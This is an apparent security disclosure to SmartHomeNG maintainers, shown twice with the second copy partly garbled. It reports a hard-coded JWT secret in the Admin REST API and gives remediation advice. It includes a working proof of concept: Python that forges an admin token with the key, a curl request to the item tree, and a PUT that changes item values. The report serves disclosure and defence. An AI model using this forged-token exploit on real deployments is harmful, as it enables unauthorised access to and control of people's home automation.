Hard-Coded JWT Secret Bypasses Admin REST Authentication
Hello SmartHomeNG maintainers,
Summary
The Admin module signs and verifies its REST API JWTs with the hard-coded key SmartHomeNG$0815. The same key appears in modules/admin/__init__.py and modules/admin/rest.py. The Admin module metadata has no jwt_secret configuration parameter (module.yaml).
The REST dispatcher accepts any non-empty JWT that verifies with this key. It does not check the token's user, role, or server-side session state. An attacker who can reach the Admin API can forge a token and bypass configured HTTP user credentials. Protected endpoints can expose admin data and modify writable item values, which may trigger connected home automation actions. This affects deployments where the Admin module is enabled and its API is network-reachable.
Evidence
Proof of Concept
Sign a token with the published key, then use it to access the protected item tree:
import time
import jwt
now = int(time.time())
token = jwt.encode(
{"name": "attacker", "admin": True, "iat": now, "exp": now + 3600},
"SmartHomeNG$0815",
algorithm="HS256",
)
print(token)curl -i \
-H "Authorization: Bearer <forged-token>" \
http://<smarthome-host>:<http-port>/api/items/tree
The same token passes the authentication check on PUT /api/items/{item_path}. For a writable item, the request body {"value": true} changes its value.
Remediation
Remove both hard-coded keys. Load one cryptographically random secret from protected deployment configuration and use it consistently for token signing and verification. Fail startup if the secret is missing, and rotate the exposed key so existing tokens are rejected.
Related Works
This report is part of my ongoing security research. If you have any questions, please feel free to @mention me. I would be glad to make a small contribution to improving SmartHomeNG's security.
Hard-Coded JWT Secret Bypasses Admin REST Authentication
Hello SmartHomeNG maintainers,
Summary
The Admin module signs and verifies its REST API JWTs with the hard-coded key
SmartHomeNG$0815. The same key appears inmodules/admin/__init__.pyandmodules/admin/rest.py. The Admin module metadata has nojwt_secretconfiguration parameter (module.yaml).The REST dispatcher accepts any non-empty JWT that verifies with this key. It does not check the token's user, role, or server-side session state. An attacker who can reach the Admin API can forge a token and bypass configured HTTP user credentials. Protected endpoints can expose admin data and modify writable item values, which may trigger connected home automation actions. This affects deployments where the Admin module is enabled and its API is network-reachable.
Evidence
api_auth.py:99-147signs login tokens with HS256 and the module's hard-coded key. The Admin API is registered withuse_global_basic_auth=False(__init__.py:245-252).rest.py:274-300verifies the bearer token using the same key.rest.py:336-355treats any successfully decoded token as authenticated; it does not inspect identity or authorization claims.api_items.py:89-125changes an item's value after the JWT check. The GET item-tree endpoint is also protected (api_items.py:54-84).Proof of Concept
Sign a token with the published key, then use it to access the protected item tree:
The same token passes the authentication check on
PUT /api/items/{item_path}. For a writable item, the request body{"value": true}changes its value.Remediation
Remove both hard-coded keys. Load one cryptographically random secret from protected deployment configuration and use it consistently for token signing and verification. Fail startup if the secret is missing, and rotate the exposed key so existing tokens are rejected.
Related Works
This report is part of my ongoing security research. If you have any questions, please feel free to @mention me. I would be glad to make a small contribution to improving SmartHomeNG's security.